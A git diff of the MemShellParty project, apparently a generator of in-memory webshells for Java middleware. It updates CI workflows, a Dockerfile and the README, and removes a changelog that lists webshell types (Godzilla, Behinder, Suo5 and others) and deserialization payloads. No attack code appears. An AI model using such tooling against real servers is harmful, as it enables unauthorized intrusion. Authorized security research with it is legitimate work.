- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -15,9 +15,6 @@ jobs:
|
|||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: '3.13'
|
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -38,7 +35,6 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
needs: [ info ]
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -52,9 +48,9 @@ jobs:
|
|||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
- name: Setup Node
|
||||||
uses: actions/setup-node@v4
|
uses: actions/setup-node@v6
|
||||||
with:
|
with:
|
||||||
node-version: '23'
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -66,13 +62,13 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
@@ -118,6 +114,41 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
|
CONTEXT_PATH=/redqueen-memshell-party
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:redqueen
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
needs: [ info, docker-push ]
|
needs: [ info, docker-push ]
|
||||||
@@ -133,18 +164,13 @@ jobs:
|
|||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Calculate SHA-256
|
|
||||||
id: calculate_sha256
|
|
||||||
run: |
|
|
||||||
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -1,79 +0,0 @@
|
|||||||
name: Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
|
|
||||||
integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
middleware:
|
|
||||||
- tomcat
|
|
||||||
- jetty
|
|
||||||
- jbossas
|
|
||||||
- jbosseap
|
|
||||||
- wildfly
|
|
||||||
- glassfish
|
|
||||||
- resin
|
|
||||||
- payara
|
|
||||||
- websphere
|
|
||||||
- websphere7
|
|
||||||
- springmvc
|
|
||||||
- weblogic
|
|
||||||
- springwebflux
|
|
||||||
- xxljob
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
name: ${{ matrix.middleware }}
|
|
||||||
needs: [ unit-test ]
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
name: Unit-Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- 'generator/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
+6
-1
@@ -29,6 +29,10 @@ replay_pid*
|
|||||||
**/build/
|
**/build/
|
||||||
!src/**/build/
|
!src/**/build/
|
||||||
|
|
||||||
|
**/bin/
|
||||||
|
!**/src/main/**/bin/
|
||||||
|
!**/src/test/**/bin/
|
||||||
|
|
||||||
# Ignore Gradle GUI config
|
# Ignore Gradle GUI config
|
||||||
gradle-app.setting
|
gradle-app.setting
|
||||||
|
|
||||||
@@ -56,4 +60,5 @@ snippets/
|
|||||||
integration-test/**/apusic
|
integration-test/**/apusic
|
||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
|
integration-test/**/primeton
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
-139
@@ -1,139 +0,0 @@
|
|||||||
# Changelog
|
|
||||||
|
|
||||||
All notable changes to this project will be documented in this file.
|
|
||||||
|
|
||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
||||||
|
|
||||||
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
|
||||||
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Valve 内存马代码
|
|
||||||
- 升级 Gradle 8.13
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
|
||||||
|
|
||||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持缩小字节码(移除调试信息) by @ReaJason
|
|
||||||
- 支持 Tomcat Jakarta WebSocket
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复自定义注入器类名不起作用
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
|
||||||
|
|
||||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 Tomcat WebSocket 注入报错,无法工作
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
|
||||||
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
|
||||||
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
|
||||||
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
|
||||||
|
|
||||||
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- UI 中打包配置中添加 Loading 状态
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
|
||||||
|
|
||||||
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 移除无用依赖,JavaSocket,Gson
|
|
||||||
- Gradle 升级至 8.12.1
|
|
||||||
- 更新 TestContainers 和 Junit 的版本
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
|
||||||
|
|
||||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
|
||||||
|
|
||||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 AntSword 内存马生成 by @ReaJason
|
|
||||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
|
||||||
- 部分 UI 调整
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复随机类名如果为保留字时会无法加载
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
|
||||||
|
|
||||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Suo5 内存马生成 by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 升级 TailWind CSS v4
|
|
||||||
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 sonner 颜色主题未随着修改而变化
|
|
||||||
- 修复 IDEA 本地构建 version 一直是 unspecified
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
|
||||||
|
|
||||||
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
|
||||||
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
|
||||||
- 支持哥斯拉、冰蝎、命令执行功能
|
|
||||||
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
|
||||||
+23
-12
@@ -1,19 +1,27 @@
|
|||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- common:bytebuddy 等工具类存放
|
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- deserialize:反序列化相关 gadget
|
- packer:常见漏洞 payload 生成
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
- memshell:内存功能类以及注入器
|
||||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||||
- tools/behinder:冰蝎简易连接器
|
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||||
- tools/godzilla:哥斯拉简易连接器
|
|
||||||
- tools/suo5:Suo5 简易连接器
|
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
|
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -28,12 +36,15 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例
|
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
# 仅运行 jetty 下的集成测试用例
|
|
||||||
|
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建 war 包
|
# 构建靶场 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
+13
-20
@@ -1,14 +1,12 @@
|
|||||||
FROM buildpack-deps:bullseye-scm AS source
|
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
FROM oven/bun:1.2.2 AS frontend
|
# https://hub.docker.com/r/oven/bun
|
||||||
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -16,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -26,32 +24,27 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
COPY --from=source /usr/src /usr/src
|
COPY --from=source /usr/src /usr/src
|
||||||
|
|
||||||
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN set -ex && \
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
cd web && bash copy-build.sh && \
|
|
||||||
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
|
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
RUN groupadd -r spring && \
|
||||||
useradd -r -g spring spring && \
|
useradd -r -g spring spring
|
||||||
chown spring:spring /app/app.jar
|
|
||||||
|
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -1,63 +1,65 @@
|
|||||||
# MemShellParty
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流
|
> 交流群,欢迎一起学习交流。
|
||||||
|
|
||||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
|
||||||
|
|
||||||
MemShellParty 出现的原因有以下几个:
|
<p align="center">
|
||||||
|
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
|
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
|
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||||
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
|
</p>
|
||||||
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
|
||||||
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
|
||||||
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
|
||||||
应用无感),必须得整一个玩玩。
|
|
||||||
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
|
|
||||||
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
|
|
||||||
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
|
|
||||||
|
|
||||||
希望你能从这个项目学会或尝试做的:
|
|
||||||
|
|
||||||
1. 学会编写常见中间件框架的内存马编写方式。
|
|
||||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
|
||||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
|
||||||
